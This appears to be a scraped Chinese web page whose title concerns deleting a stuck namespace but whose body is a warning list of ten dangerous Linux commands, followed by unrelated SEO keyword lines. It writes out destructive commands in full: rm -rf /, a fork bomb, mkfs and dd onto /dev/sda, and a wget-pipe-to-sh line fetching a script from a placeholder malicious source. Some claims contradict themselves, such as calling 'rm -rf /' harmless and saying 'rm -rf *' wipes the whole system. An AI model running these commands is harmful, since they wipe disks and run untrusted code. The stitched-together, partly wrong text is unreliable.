强制删除namespace卡住
要知道Linux命令很有效,但同时也很危险,稍不留神就是惨绝人寰的事故现场。今天我们说10个惊险无比的Linux命令。
01 rm -rf 命令
rm -rf命令是删除文件夹及其内容最快的方式之一。喜欢逛VPS主机交流论坛的朋友可能会在用户发帖询问命令相关问题时看到某些用户会回答在SSH执行“rm -rf /*”,别小看这个命令,它可能会删除你整个Linux系统文件。当然需要root权限,否则只会删除属于自己用户或用户组内的文件。
稍不留神便会导致不可恢复的系统崩坏。
下列是一些rm 命令的选项:
rm 删除命令。
rm -r 命令递归的删除目录和子目录中的文件。
rm -f 命令强制删除不再向用户提示确认。Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律统统删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。
rm -rf / : 强制删除根目录下所有内容,整个命令正常使用没啥问题,它只删除整个目录命令罢了。
rm -rf *: 强制删除当前目录的所有文件,即整个Linux系统都会被删除。
rm -rf . : 强制删除当前文件夹及其子文件夹。
从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!)
使用rm命令一定要小心。因为一旦文件被删除,它是不能被恢复的。为了防止这种情况的发生,可以使用“i”选项来逐个确认要删除的文件。如果用户输入“y”,文件将被删除。
02 :(){:|:&};: 命令
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
03 > /dev/sd
> /dev/sda是Linux系统下的设备文件,类似于Windows系统上面的本地磁盘、U盘、光驱等设备。这个命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
04 mv 文件夹 /dev/null
这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。当然,要说明的是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。
/dev/null是一个空文件(写入到/dev/null时全部丢失,读取/dev/null时自己返回EOF),有以下5种用途:禁止标准输出、禁止标准错误、禁止标准输出和标准错误输出、清除日志文件内容、隐藏cookie而不再使用。
05 wget http://malicious_source -O- | sh
该命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。
06 mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。
一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。
07 > file
这个命令常用来清空文件内容或记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了。连数据恢复软件都未必能帮得到你。你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。如果用上列执行时输入错误或无知的输入类似 “> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
08 ^foo^bar
这个命令用来编辑先前运行的命令而无需重打整个命令。用foobar命令时如果你没有彻底检查改变原始命令的风险,可能会引发大灾难。
09 dd if=/dev/random of=/dev/sda
这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统陷入混乱和不可恢复的状态。之前说过mv到黑洞并不能彻底删除数据?那么这个命令就能给你一个彻底。当然为了保险起见,你可以覆写多次。以上命令都是在root权限下才会发挥如此大的威力,如果只是普通的用户身份,只是小惊吓。
10 隐藏命令
下面的命令其实就是 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面命令可能会擦除你的根分区。真正的危险是隐藏起来的,又不会被轻易检测到。你必须时刻留心你在做什么,这样做结果如何。切记,千万不要编译or运行未知来源的代码。
众所周知,Linux命令是对Linux系统进行管理的命令。对Linux系统而言,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
像切换到根目录
[qingsword@localhost ~]$ cd查看根目录下面有哪些文件和文件夹
[qingsword@localhost /]$ ls返回上一层目录
[qingsword@localhost ~]$ cd ..Linux namespaces linux namespace实现
linux namespaces 详解 linux namespace技术
linux namespace使用 linux namespace技术
linux namespace教程 linux中namespace
linux namespace 命令 linux中namespace
linux namespace 实现 linux namespace详解
windows reids 设置 namespace win10 namespace
Windows Server 2012 R2 Shutting down service:Windows Modules Installer 卡住windows server 2012 r2系统